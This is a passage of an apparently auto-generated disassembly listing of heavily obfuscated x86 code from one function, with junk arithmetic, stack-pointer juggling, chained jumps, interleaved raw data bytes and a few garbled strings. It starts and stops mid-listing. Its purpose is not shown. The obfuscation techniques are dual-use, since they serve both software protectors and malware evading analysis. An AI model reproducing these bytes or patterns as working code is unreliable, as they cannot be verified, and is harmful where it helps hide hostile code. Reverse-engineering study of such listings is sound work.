--------------------------------------------------------------------------- db 49h, 81h, 0E1h dd 6BC35634h, 0E1C1D9F7h, 21C18105h, 89443928h, 0CB8159CBh dd 33AE567Dh, 0FF7256E9h, 0E9CB29FFh, 0FFFF9AFFh, 1326B951h dd 0E98175E9h, 55F7F27Ch, 559C889h, 4A4334D8h, 0D6354048h dd 165B33Ch, 0F58758C5h, 0A4E9DEF7h, 52FFFFF7h, 24BAh dd 6795E900h, 248B0000h, 51685524h, 8B48556Eh, 0C481242Ch dd 4, 6370EF81h, 0C78140CEh, 4F131FC7h, 4AE9EF01h, 1FFFF39h dd 0C875AD1h, 24248B24h, 0C8AF0F66h, 0E99C5166h, 0FFFF2188h ; --------------------------------------------------------------------------- loc_5613C4: ; CODE XREF: sub_542C3C+1AD8Ej push 796h mov [esp+94h+var_94], esp add [esp+94h+var_94], 4 pop ebp add ebp, 4 add ebp, 4 push ebp push [esp+94h+var_90] pop ebp jmp loc_563D34 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 2BC58104h, 894C2EDBh, 0BA525DEAh, 0BCA1451h dd 0FF3FB1E9h, 58C501FFh, 0BAB1E952h, 1C89FFFFh, 9F9BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561416: ; CODE XREF: sub_542C3C+236D0j xchg ebp, edi pop ebp sub edi, 667C716Fh push edi push [esp+94h+var_94] pop ebp add esp, 4 pop edi dec ebp and ebp, 471F390Dh or ebp, 336C4857h jmp loc_5671A5 ; --------------------------------------------------------------------------- loc_56143A: ; CODE XREF: sub_542C3C+1E9F5j push ebp jmp loc_561F1D ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832414h, 0E3895304h, 5655E9h db 0 ; --------------------------------------------------------------------------- loc_561451: ; CODE XREF: sub_542C3C+237A9j pop eax and ebp, 2DB55D75h sub ebp, 1 jmp loc_55F8D2 ; --------------------------------------------------------------------------- dd 0E5E9028Fh, 80FFFF20h, 53516EC3h, 5AE970B7h, 1FFFFADh dd 0CDE959C8h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56147B: ; CODE XREF: sub_542C3C+16BCAj push edx mov edx, 4 add [esp+0A6h+var_A2], edx pop edx jmp loc_554DF4 ; --------------------------------------------------------------------------- db 9 dd 0C9FE9EAh, 0E9540000h, 0FFFFCFBAh, 0E9A3C280h, 0FFFF7E3Eh dd 5AB568h, 0F8C0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5614AA: ; CODE XREF: sub_542C3C+18D58j xor ebx, 3DE3D90h jmp loc_55749B ; --------------------------------------------------------------------------- db 2Dh, 21h, 4Fh dd 4AE95EACh, 6800001Fh, 0FFFFFBFFh, 0FF506DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5614C9: ; CODE XREF: sub_542C3C+167D1j add [esp+0AAh+var_AA], 218C6AFFh pop esi sub esi, 218C6AFFh pop ebp push eax mov eax, 5B1D6AF0h sub eax, 6B3952BDh sub eax, 3B527077h shr eax, 1 push edx mov edx, 0A5B72C46h add eax, edx pop edx push 31B7h mov [esp+0AAh+var_AA], ecx mov ecx, 5E4D7FF3h jmp loc_55CDAB ; --------------------------------------------------------------------------- db 50h, 0B8h, 0CAh dd 0F737966Ch, 7E0C1D8h, 187E9h, 24248B00h, 81E18951h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 2068240Ch, 0E900001Dh dd 13EDh, 55241C8Bh, 0C5815D54h, 4, 4C581h, 2C870000h dd 0A8E95C24h, 53FFFFBDh, 0CB1F5ABBh, 5BD8290Bh, 8124148Bh dd 4C4h, 51D82900h, 357ACDB9h, 59C80139h, 65416405h, 9BBE562Bh dd 316DFF32h, 31F731FEh, 8293E9FEh, 0E957FFFFh, 491Bh ; --------------------------------------------------------------------------- loc_56158C: ; CODE XREF: sub_542C3C+2225Bj mov ch, 41h push ecx mov cl, 2Eh shl cl, 7 shl cl, 2 xor cl, 41h xor cl, 3Eh mov dh, cl jmp loc_556320 ; --------------------------------------------------------------------------- dd 230DBF57h, 0C7815079h, 40014E33h, 0F7874747h, 0F787DEF7h dd 0FF8AE2E9h, 2434FFFFh, 8324048Bh, 0DF6804C4h, 8900005Eh dd 0E2892414h, 0BAC2E950h, 0C87FFFFh, 0A6B4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5615DE: ; CODE XREF: sub_542C3C+14983j not esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+9Ah+var_9C+2] mov esp, [esp+9Ah+var_9C+2] mov [esp+9Ah+var_9C+2], edx mov edx, 8F19750Ah jmp loc_5647DD ; --------------------------------------------------------------------------- db 83h dd 348704C6h, 2C335C24h, 242C3124h, 5C242C33h, 58B568h dd 240C8900h, 4EC81h, 1C890000h, 51535024h, 0CB88D188h dd 0E9DC8859h, 0F03h ; --------------------------------------------------------------------------- loc_561630: ; CODE XREF: sub_542C3C+1B841j push edx jmp loc_56143A ; --------------------------------------------------------------------------- dw 815Eh dd 0F6789E7h, 84B85046h, 313A646Ch, 0FD8958C7h, 891E9h db 0 ; --------------------------------------------------------------------------- loc_56164D: ; CODE XREF: sub_542C3C+18152j mov esi, esp jmp loc_561C6D ; --------------------------------------------------------------------------- loc_561654: ; CODE XREF: sub_542C3C+13EB8j neg eax push ebp mov ebp, 5FE32C27h xor ebp, 43790583h inc ebp jmp loc_55455F ; --------------------------------------------------------------------------- dd 0EFC00FB7h, 80C7FE04h, 0F80012F7h, 2CF0005Bh, 0AA2C5A13h dd 6FE95366h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561683: ; CODE XREF: sub_542C3C+1BB7Dj xor ebp, [esp+8Ch+var_8C] pop esp push 48D8h mov [esp+8Ch+var_8C], esi push [esp+8Ch+var_88] pop esi pop [esp+8Ch+var_8C] jmp loc_55FA64 ; --------------------------------------------------------------------------- dd 41AFDF05h, 0E9C5891Ah, 5B14h, 24048B66h, 456A68h, 24048900h dd 1EA868h, 24248900h, 4240481h, 8B000000h, 0C4812404h dd 4, 4BE56h, 0DFE90000h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5616D7: ; CODE XREF: sub_542C3C+17423j mov esp, [esp+54h+var_54] jmp loc_567419 ; --------------------------------------------------------------------------- loc_5616DF: ; CODE XREF: sub_542C3C+10965j mov edi, 0FFFFFFFFh sub ebx, edi pop edi and ebx, 46030AE9h shr ebx, 8 add ebx, 7D3B489Fh xor edi, ebx mov ebx, [esp+5Ch+var_5C] add esp, 4 add esi, 302336EDh add esi, edi sub esi, 302336EDh pop edi xchg esi, [esp+54h+var_54] pop esp push 22F4h mov [esp+54h+var_54], eax push 7C10h mov [esp+58h+var_58], ecx push 5E21h mov [esp+5Ch+var_5C], ebp mov ebp, 73442EACh push 1203h mov [esp+60h+var_60], esi push edi push 3F797AE0h pop edi add edi, 33CAB3C8h jmp loc_55E6D0 ; --------------------------------------------------------------------------- loc_56174B: ; CODE XREF: sub_542C3C+209FBj sub [esp+64h+var_60], ebp pop ebp jmp loc_55EDD7 ; --------------------------------------------------------------------------- loc_561755: ; CODE XREF: sub_542C3C+19041j pop edi jmp loc_5639B7 ; --------------------------------------------------------------------------- loc_56175B: ; CODE XREF: sub_542C3C+20C48j push ebx mov bh, 8Ah mov al, 3Eh xor al, bh pop ebx push eax mov al, 63h shl al, 8 sub al, 0E5h add bl, 0AEh jmp loc_55AF6D ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 24048324h, 241C8B04h, 5204C483h, 0FFB3F2E9h dd 58C301FFh, 0EC83C301h, 240C8904h, 1A6CE9h, 60676800h dd 4890000h, 0AFE95424h, 2800000Ch, 49B04D8h, 1C8B6671h dd 268C6824h, 3C890000h, 815F5424h, 4C7h, 136E6800h, 1C890000h dd 2BB24h, 12E90000h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5617D3: ; CODE XREF: sub_542C3C+1E68Dj push eax xchg ecx, [esp+90h+var_90] xor ecx, edx xor edx, ecx xor ecx, edx not edx xor ecx, edx xor edx, ecx xor ecx, edx xchg ecx, [esp+90h+var_90] push [esp+90h+var_90] push [esp+94h+var_94] mov eax, [esp+98h+var_98] jmp loc_55B982 ; --------------------------------------------------------------------------- dw 0E681h dd 417C7DE6h, 0B26EE81h, 0F201CDD6h, 5AD1295Eh, 0E959CF89h dd 48E7h, 0E9E08950h, 27F0h, 4743E581h, 0EDC11A0Ch, 3E52E904h dd 51ADFFFFh, 4E8868h, 241C8900h, 0A2FCFBBh, 44CB8134h dd 8147F950h, 4427F6E3h, 6EBA5255h, 8138551Bh, 7A12ACF2h dd 55EA817Fh, 29199FF7h, 1529E9D3h, 685A0000h, 218Dh, 0FFEAB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_561865: ; CODE XREF: sub_542C3C+1C24Dj add eax, 4 xchg eax, [esp+94h+var_94] pop esp jmp loc_564B1F ; --------------------------------------------------------------------------- db 5Dh dd 0FF692AE9h, 8BFA89FFh, 0BF68243Ch, 89000007h, 0E2892414h dd 0FFB549E9h, 36685AFFh, 89000072h, 0F7E9241Ch db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56189B: ; CODE XREF: sub_542C3C+16273j pop ebp push edx push ebx mov ebx, 0BDC6F8Eh add ebx, 3BECBD46h mov edx, ebx pop ebx jmp loc_563FEA ; --------------------------------------------------------------------------- loc_5618B1: ; CODE XREF: sub_542C3C+1D0C7j push eax mov eax, 7D3C04C5h and edx, eax jmp loc_55C42F ; --------------------------------------------------------------------------- dw 0B353h dd 0E9DE2814h, 0FFFF6D08h, 24B353ACh, 0E951CBFEh, 6CA1h ; --------------------------------------------------------------------------- loc_5618D4: ; CODE XREF: sub_542C3C+23F9Dj xor ebp, ecx push [esp+54h+var_54] pop ecx jmp loc_5541C7 ; --------------------------------------------------------------------------- loc_5618DF: ; CODE XREF: sub_542C3C+245FFj add esi, edx pop edx add esi, edx sub esi, 3AAC1849h pop edx and ebp, esi mov esi, [esp+4Ch+var_4C] add esp, 4 jmp loc_559C81 ; --------------------------------------------------------------------------- db 81h dd 4074DFF2h, 5AD72111h, 0AF5CC781h, 0F901FFFFh, 4C1835Fh dd 2474FF51h, 48F5904h, 0FFFE924h, 0E95F0000h, 1E77h, 0E9E08950h dd 57CAh, 3F2E959h, 0E95C0000h, 27BBh, 0E904C483h, 519Bh ; --------------------------------------------------------------------------- loc_561940: ; CODE XREF: sub_542C3C+1CA24j mov [esp+0A6h+var_A6], esi mov esi, 158B45FDh jmp loc_55FF33 ; --------------------------------------------------------------------------- loc_56194D: ; CODE XREF: sub_542C3C+189E1j mov ebx, 4 add ebp, ebx jmp loc_563FE4 ; --------------------------------------------------------------------------- loc_561959: ; CODE XREF: sub_542C3C+171ABj xor ebx, eax jmp loc_55E532 ; --------------------------------------------------------------------------- dd 0D6685355h, 5B54DA60h, 0D7F7FB87h, 8143FB87h, 0C24F45E3h dd 71FBE91Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56197A: ; CODE XREF: sub_542C3C+1A587j xor ebx, 33D513CBh shl ebx, 5 sub ebx, 6003D1Fh dec ebx or ebx, 60DB2D93h inc ebx add ebx, 0C592FBFh or ebx, 552A6EC2h sub ebx, 43372EB4h add eax, ebx pop ebx and ecx, eax pop eax push edi mov edi, 41696EADh shr edi, 8 not edi shr edi, 2 neg edi sub edi, 61280B78h push ebp jmp loc_554452 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 52000000h, 3F2068h, 24348900h, 6008C468h, 0DEF75E5Eh dd 6BAABD55h, 67E912C9h, 66000039h, 68240C8Bh, 6C60h, 0E9241489h dd 0FFFF9B08h ; --------------------------------------------------------------------------- loc_5619F8: ; CODE XREF: sub_542C3C+21EBBj pop edx xor edx, ecx mov ecx, [esp+0AAh+var_AA] jmp loc_559DD7 ; --------------------------------------------------------------------------- loc_561A03: ; CODE XREF: sub_542C3C+16D94j add esp, 4 sub esi, edx push [esp+0B2h+var_B2] jmp loc_563E37 ; --------------------------------------------------------------------------- dd 9DE9C801h, 0C1FFFF35h, 0E5C103E5h, 6EDC108h, 0FFBA64E9h dd 76C50DFFh, 0BE563CE8h, 5C334A83h, 6BBAF681h, 0F0215A19h dd 5E2434FFh, 4C481h, 0F7480000h, 2A82E9D0h, 0DFF7FFFFh dd 480FE947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561A52: ; CODE XREF: sub_542C3C+12DFDj pop esi add esi, 4 add esi, 4 xor esi, [esp+0A6h+var_A6] xor [esp+0A6h+var_A6], esi xor esi, [esp+0A6h+var_A6] mov esp, [esp+0A6h+var_A6] jmp loc_5600D5 ; --------------------------------------------------------------------------- db 0BEh, 8Dh, 11h dd 0F72909EFh, 8324348Bh, 0B8E904C4h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561A7F: ; CODE XREF: sub_542C3C+17270j add ebp, 2D1B4B71h pop edi push 0CE1h mov [esp+78h+var_78], edi push edx mov edx, 51B34FA6h jmp loc_55B64F ; --------------------------------------------------------------------------- db 89h, 0CAh, 0E9h dd 5F16h, 66EF8166h, 0D7F7664Ah, 0ECC78166h, 0F82966C9h dd 0D801665Fh, 2E120566h, 1B6B2D66h, 0E9241C8Bh, 0FFFFD143h ; --------------------------------------------------------------------------- loc_561AC4: ; CODE XREF: sub_542C3C+2070Ej mov ebx, [esp+7Ch+var_7C] push 0CDEh mov [esp+80h+var_80], ebp jmp loc_56564D ; --------------------------------------------------------------------------- loc_561AD4: ; CODE XREF: sub_542C3C+1CB7Cj pop ebp sub edi, 7729506Eh sub edi, 40E077C2h add edi, eax add edi, 40E077C2h add edi, 7729506Eh pop eax sub edi, 192BFDCAh push 261Ah mov [esp+78h+var_78], edx sub esp, 4 jmp loc_565559 ; --------------------------------------------------------------------------- dw 0F386h dd 41E9C3FEh db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B0F: ; CODE XREF: sub_542C3C+12155j push ebp mov ebp, 19385749h xor ebx, ebp mov ebp, [esp+78h+var_78] add esp, 4 pop edi jmp loc_560DF8 ; --------------------------------------------------------------------------- db 5Dh dd 4C481h, 0FB010000h, 0B850h, 0D8010000h, 0BA52h, 0C2010000h dd 585A2A88h, 5B2434FFh, 81E68956h, 4C6h, 4C68300h, 5C243487h dd 15FAE9h, 0D3C78100h, 0E907375Ch, 0FFFF823Dh, 4C481h dd 0C3810000h, 4, 8B241C87h, 54562424h, 8E9515Eh, 8900006Ah dd 0C8BA52E1h, 8164313Bh, 787A5EF2h, 92EA8161h, 0E9054941h dd 0DABh ; --------------------------------------------------------------------------- loc_561B98: ; CODE XREF: sub_542C3C+1CC06j xchg eax, ebp push eax inc [esp+54h+var_54] pop eax push ebx mov ebx, 106F18D5h inc ebx add ebx, 3AA70E6Fh inc ebx jmp loc_554C05 ; --------------------------------------------------------------------------- loc_561BB1: ; CODE XREF: sub_542C3C+1849Fj pop ecx push esi push 71F76986h mov esi, [esp+8Ch+var_8C] add esp, 4 add esi, 3F2E49DDh push ecx push eax mov eax, 106F16EEh or eax, 91A4628h sub eax, 0D0300936h mov ecx, eax pop eax xor esi, ecx pop ecx inc esi jmp loc_5687A8 ; --------------------------------------------------------------------------- dd 94207A05h, 3E78E97Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561BEE: ; CODE XREF: sub_542C3C+14891j push edx dec [esp+88h+var_88] jmp loc_5659EB ; --------------------------------------------------------------------------- db 68h dd 0 dd 8B240C29h, 0C768240Ch, 8900007Ch, 0E789243Ch, 0FF1972E9h dd 0E95352FFh, 0FFFF2BFAh, 0CFC580h, 240C8BEFh, 6804C483h dd 4B1Fh, 0FF3449E9h, 6656B7FFh, 2801B151h, 0C8B66CFh dd 2C48124h, 0E9000000h, 0FFFF5D39h, 8124148Bh, 4C4h, 18E95500h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561C53: ; CODE XREF: sub_542C3C+21FFDj push eax mov eax, 246528C9h xor edi, eax pop eax push esi mov esi, edi mov edx, esi pop esi jmp loc_5656E6 ; --------------------------------------------------------------------------- aS7 db '[é7 ',0 db 0 ; --------------------------------------------------------------------------- loc_561C6D: ; CODE XREF: sub_542C3C+1EA13j add esi, 4 add esi, 4 push esi push [esp+48h+var_44] pop esi jmp loc_5664BB ; --------------------------------------------------------------------------- dd 0F0DBEF81h, 0BA529257h, 410503EFh, 7F45EA81h, 0E2810F30h dd 0BFC522Bh, 2A97BB53h, 0B1E95753h, 83FFFF90h, 0B5E904C4h dd 1000003h, 242C8BE8h, 4C481h, 0E8830000h, 1DC96804h dd 4890000h, 2474FF24h, 48F5804h, 0C895C24h, 0C0B3B124h dd 0C18002E9h, 62BBE99Bh, 4EB90000h, 0E95ADF18h, 0FFFF605Bh dd 1C4FEB81h, 0BA521930h, 3E991076h, 814AD2F7h, 3A48EDE2h dd 1FE2817Fh, 537EBE1Eh, 93934BBh, 67BFE901h, 34FF0000h dd 24048B24h, 0E9E08950h, 6BE0h, 0E9D60159h, 19FAh, 5004C483h dd 70E9E089h, 56FFFFEBh, 0C681E689h, 4, 0F7B95155h, 0E94F2B58h dd 5404h ; --------------------------------------------------------------------------- loc_561D44: ; CODE XREF: sub_542C3C+15A86j pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+88h+var_88] mov esp, [esp+88h+var_88] jmp loc_555092 ; --------------------------------------------------------------------------- db 29h dd 6BA9E9F2h, 0E950FFFFh, 4700h, 2610F281h, 7DE92AD2h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D77: ; CODE XREF: sub_542C3C+1B331j push edx jmp loc_5551DE ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 4EB8300h, 0E9241C87h, 0FFFFC65Bh, 0A05EA6BFh dd 58C7310Ch, 15FF889h, 8B042444h, 22E92404h, 89FFFFC1h dd 0CE3158C1h, 592434FFh, 0E904C483h, 2EEh ; --------------------------------------------------------------------------- loc_561DB8: ; CODE XREF: sub_542C3C+1E680j shl edx, 1 jmp loc_557A05 ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 242C8900h, 0DE568h, 24248900h, 4240481h dd 0E9000000h, 4980h, 0FE3DEE80h, 0B1F680CEh, 0FF7869E9h db 0FFh ; --------------------------------------------------------------------------- loc_561DED: ; CODE XREF: sub_542C3C+16931j sub esp, 4 jmp loc_564FE7 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF662Ch, 5C241C87h, 32D668h, 30BFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E0E: ; CODE XREF: sub_542C3C+11EFBj push edi push 746C73BFh push [esp+80h+var_80] jmp loc_562BDB ; --------------------------------------------------------------------------- loc_561E1C: ; CODE XREF: sub_542C3C+1889Cj push ecx mov ecx, 5BEA4369h or eax, ecx pop ecx shr eax, 4 not eax neg eax sub esp, 4 jmp loc_55A9A6 ; --------------------------------------------------------------------------- db 0ACh dd 6602EC83h, 0B3241C89h, 0A8ACE929h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E46: ; CODE XREF: sub_542C3C+1E14Ej mov eax, esp jmp loc_559C4E ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 5Fh dd 81FFFF91h, 7978D7EAh, 9EF2816Ch, 0C14EEB69h, 0F28104EAh dd 5933417Dh, 0E95AD129h, 0FFFFFAAEh ; --------------------------------------------------------------------------- loc_561E70: ; CODE XREF: sub_542C3C+139F6j sub eax, 77793F77h push ebx push edx mov edx, 65783976h mov ebx, edx jmp loc_565703 ; --------------------------------------------------------------------------- db 45h dd 0FFFB8EE9h, 468FFh, 15A0000h, 2434FFD3h, 61DDE9h, 4C28100h dd 0E9000000h, 0FFFF32D3h ; --------------------------------------------------------------------------- loc_561EA4: ; CODE XREF: sub_542C3C+169DCj sub esp, 4 mov [esp+64h+var_64], esi pop edx jmp loc_567861 ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 243C895Ch, 0FF8ACFE9h dd 4ECE81FFh, 810FCD24h, 3C4447F6h, 8045E96Ch, 525FFFFFh dd 0B703DDBAh, 0FFEA8123h, 81FFFFFFh, 1C272DE2h, 26C28176h dd 81343F5Ch, 0CE96BC2h, 0E9D529ADh, 0FFFFCFB0h, 24148966h dd 63E993B2h, 1FFFF85h, 46C181D9h, 5B55A846h, 0FFBD5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_561F1D: ; CODE XREF: sub_542C3C+1E7FFj pop edx jmp loc_55612F ; --------------------------------------------------------------------------- loc_561F23: ; CODE XREF: sub_542C3C+1765Fj add cl, 61h sub al, 0ACh add al, cl add al, 0ACh jmp loc_560B5F ; --------------------------------------------------------------------------- db 68h, 85h, 65h dd 24890000h, 24048124h, 4, 5524048Bh, 3269E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F4A: ; CODE XREF: sub_542C3C+19EB7j add ebp, 4 jmp loc_55DDAC ; --------------------------------------------------------------------------- db 0BEh, 4Bh, 67h dd 0F3892196h, 0FF505FE9h, 241489FFh, 1E7768h, 24348900h dd 0FF783CE9h, 241C8BFFh, 0FF23A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_561F79: ; CODE XREF: sub_542C3C+12217j push ecx mov ecx, 0F9557A5h jmp loc_562A52 ; --------------------------------------------------------------------------- dd 0BA241489h, 4, 0E95AD501h, 0FFFFA4CDh, 1EC568h, 24148900h dd 4EC81h, 4890000h, 38E95324h db 17h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561FAB: ; CODE XREF: sub_542C3C+1D123j pop ebx push [esp+74h+var_74] pop esi push edx mov edx, esp add edx, 4 add edx, 4 push edx push [esp+7Ch+var_78] pop edx pop [esp+7Ch+var_7C] pop esp push 65C7h mov [esp+78h+var_78], esi jmp loc_565297 ; --------------------------------------------------------------------------- aTHuk db 'T[hîK',0 align 2 dw 0C89h dd 20685724h, 5F422675h, 0ABE1E94Fh, 82BBFFFFh, 8128A97Ah dd 0E832DCE3h, 0A285E968h, 2CD2FFFFh, 49E99C24h db 15h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562003: ; CODE XREF: sub_542C3C+24EB3j sub edi, 0A683EDA5h jmp loc_5612CE ; --------------------------------------------------------------------------- loc_56200E: ; CODE XREF: sub_542C3C+14DCDj mov [esp+0B2h+var_B2], esp add [esp+0B2h+var_B2], 4 push [esp+0B2h+var_B2] pop esi sub esp, 4 mov [esp+0B6h+var_B6], esi mov esi, esp jmp loc_55B78C ; --------------------------------------------------------------------------- db 5, 0A3h, 7Dh dd 0D32D0285h, 1559B3Ah, 8F18E9D0h, 0C481FFFFh, 4, 0FFD7A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_562045: ; CODE XREF: sub_542C3C+13C91j xor esi, edi jmp loc_56637D ; --------------------------------------------------------------------------- dd 242C335Fh, 0FF53FAE9h, 50B850FFh, 29347F3Dh, 0E9082444h dd 88Eh, 0B840505h, 8BC10184h, 0C4812404h, 4, 55B8E955h dd 0E958FFFFh, 3D67h, 0C3E3E9ADh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562086: ; CODE XREF: sub_542C3C+15C0Bj dec ebp sub ebp, 729B4343h add ebp, 180A3192h sub esi, ebp pop ebp jmp loc_555B09 ; --------------------------------------------------------------------------- loc_56209B: ; CODE XREF: sub_542C3C+11C07j mov ecx, edi pop edi pop esi mov esi, ecx jmp loc_56040A ; --------------------------------------------------------------------------- dw 0EA81h dd 5093774Eh, 0C281F201h, 5093774Eh, 74FF525Eh, 8F5A0424h dd 0CAE92404h, 83FFFF4Eh, 48F04C4h, 24248B24h, 82E95653h dd 0B9FFFFFEh, 425A39B8h, 8159CF89h, 0EC2F06C7h, 0BAF78167h dd 81AA4668h, 0BE4D7FC1h, 81F90148h, 0BE4D7FE9h, 0E9815F48h dd 4, 0FF8A50E9h, 50C9FEFFh, 0E980F8B0h, 0CFC1805Fh, 79E9C100h dd 68FFFF24h, 5682h, 0BF243C89h, 4, 7886E981h, 0E9815C29h dd 1D365CDFh, 0FFEF98E9h, 0CA815DFFh, 6ABC25DEh, 0FF9EA0E9h db 0FFh ; --------------------------------------------------------------------------- loc_56213D: ; CODE XREF: sub_542C3C+13931j shl dl, 2 xor dl, 0B3h and dl, 4Eh add dl, 0D0h push bx jmp loc_557342 ; --------------------------------------------------------------------------- dd 4C581h, 0C5810000h, 4, 5C242C87h, 0E9240C8Bh, 60A4h dd 4B9h, 8BCB0100h, 8956240Ch, 4C681E6h, 81000000h, 4C6h dd 24348700h, 0FFCC34E9h db 0FFh ; --------------------------------------------------------------------------- loc_562189: ; CODE XREF: sub_542C3C+14EF5j push esp jmp loc_55E252 ; --------------------------------------------------------------------------- db 5Fh dd 0EE81FE01h, 32A6DE4h, 176BE9h db 0 ; --------------------------------------------------------------------------- loc_56219D: ; CODE XREF: sub_542C3C+12435j mov ah, dh pop edx jmp loc_55617B ; --------------------------------------------------------------------------- loc_5621A5: ; CODE XREF: sub_542C3C+24475j mov esi, [esp+94h+var_94] push ebx mov ebx, esp jmp loc_556D2B ; --------------------------------------------------------------------------- loc_5621B0: ; CODE XREF: sub_542C3C+19DB4j sub ebp, edx jmp loc_558D84 ; --------------------------------------------------------------------------- db 81h dd 8419A7C2h, 48E95851h, 0C0FFFF76h, 0B15108E6h, 0D2C18088h dd 0E980D9F6h, 59CE3010h, 88F48850h, 528EE9E5h, 13B90000h dd 0C144BC42h, 0C98103E1h, 44E72D41h, 0C642E981h, 0CD3129CDh dd 0FF3AFAE9h, 1FA568FFh, 0AEE90000h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562203: ; CODE XREF: sub_542C3C+184AFj push esp mov ebx, [esp+4Ch+var_4C] jmp loc_566FA1 ; --------------------------------------------------------------------------- dd 92D2F792h, 6229BF57h, 0F829D620h, 58C2015Fh, 8324348Bh dd 0D6E904C4h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562227: ; CODE XREF: sub_542C3C+1CE69j sub ebp, ebx jmp loc_5592E5 ; --------------------------------------------------------------------------- dd offset dword_4F4844+724h dw 8900h dd 0D9E9241Ch db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56223B: ; CODE XREF: sub_542C3C+112D0j push [esp+70h+var_6C] pop edi jmp loc_56362B ; --------------------------------------------------------------------------- loc_562245: ; CODE XREF: sub_542C3C+17A32j add esp, 4 add ebp, 4 push 6788h jmp loc_55AF9C ; --------------------------------------------------------------------------- loc_56225B: ; CODE XREF: sub_542C3C+1D699j mov edx, edi jmp loc_55560B ; --------------------------------------------------------------------------- dw 0D368h dd 0E9000079h, 289Dh ; --------------------------------------------------------------------------- loc_56226C: ; CODE XREF: sub_542C3C+212F6j push [esp+0AAh+var_A6] pop edi pop [esp+0AAh+var_AA] pop esp mov ebx, esi push [esp+0A2h+var_A2] mov esi, [esp+0A6h+var_A6] add esp, 4 jmp loc_55AD8D ; --------------------------------------------------------------------------- aZAHq db '‡,$\€Æšhï]',0 dd 24048900h, 0B35344B0h, 0E9C3FE59h, 0FFFFB9FDh, 681BE981h dd 0E9C12039h, 8E1C103h, 6338E9h, 0E9E20800h, 0FFFF2CA5h dd 6268E089h, 8900001Dh, 4BA2414h, 1000000h, 2434FFD0h dd 4C4835Ah, 405h, 24048700h, 53FA015Ch, 0FF4F2AE9h, 24048FFFh dd 4240481h, 0E9000000h, 5078h, 65AF68h, 24248900h, 4240483h dd 5A2434FFh, 5004C483h, 1F55BF57h, 0F7810079h, 66130245h dd 975FF889h, 5197D7F7h, 9E2901B9h, 5F17E970h, 248B0000h dd 0E2895224h, 5BE95050h, 8100004Eh, 813454F2h, 2434FF5Ch dd 4C4815Bh, 51000000h, 0B31AC3B9h, 59CA3135h, 26C4E9h dd 26E9AD00h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562353: ; CODE XREF: sub_542C3C+18D0Cj sub al, 2Eh pop dx add al, 57h jmp loc_55C07F ; --------------------------------------------------------------------------- loc_56235E: ; CODE XREF: sub_542C3C+210FBj pop esp push 4209h mov [esp+7Eh+var_80+2], ebx push 7289h mov [esp+82h+var_84+2], esp add [esp+82h+var_84+2], 4 jmp loc_55F9B0 ; --------------------------------------------------------------------------- dd 0C1E1D15Dh, 0EC8107E1h, 4, 0B8240489h, 7F88744Eh, 0FFE44CE9h db 0FFh ; --------------------------------------------------------------------------- loc_562391: ; CODE XREF: sub_542C3C+15DD8j or ecx, 67BD5338h xor ecx, 400B0A78h jmp loc_559400 ; --------------------------------------------------------------------------- dw 15Eh dd 0A5F7E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5623AA: ; CODE XREF: sub_542C3C+23745j xchg ebx, edi dec ebx jmp loc_563FB9 ; --------------------------------------------------------------------------- loc_5623B2: ; CODE XREF: sub_542C3C+20867j add esp, 4 push ebx push esi mov esi, esp push eax mov eax, 6EC27614h jmp loc_556E5A ; --------------------------------------------------------------------------- dd 24048B66h, 7D168h, 243C8900h, 5404EC83h, 8124048Fh dd 42404h, 3C8B0000h, 4C48324h, 1C6168h, 616EE900h, 5B660000h dd 0D000E704h, 665AE72Ch, 68240C8Bh, 3064h, 54243489h dd 3ED3E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56240A: ; CODE XREF: sub_542C3C+14D3Cj push ebp mov ebp, 173D45E8h jmp loc_55C2C5 ; --------------------------------------------------------------------------- loc_562415: ; CODE XREF: sub_542C3C+17C96j push 7B31h mov [esp+80h+var_80], esi push esp pop esi push edi mov edi, 4 add esi, edi jmp loc_557974 ; --------------------------------------------------------------------------- loc_56242C: ; CODE XREF: sub_542C3C+25312j 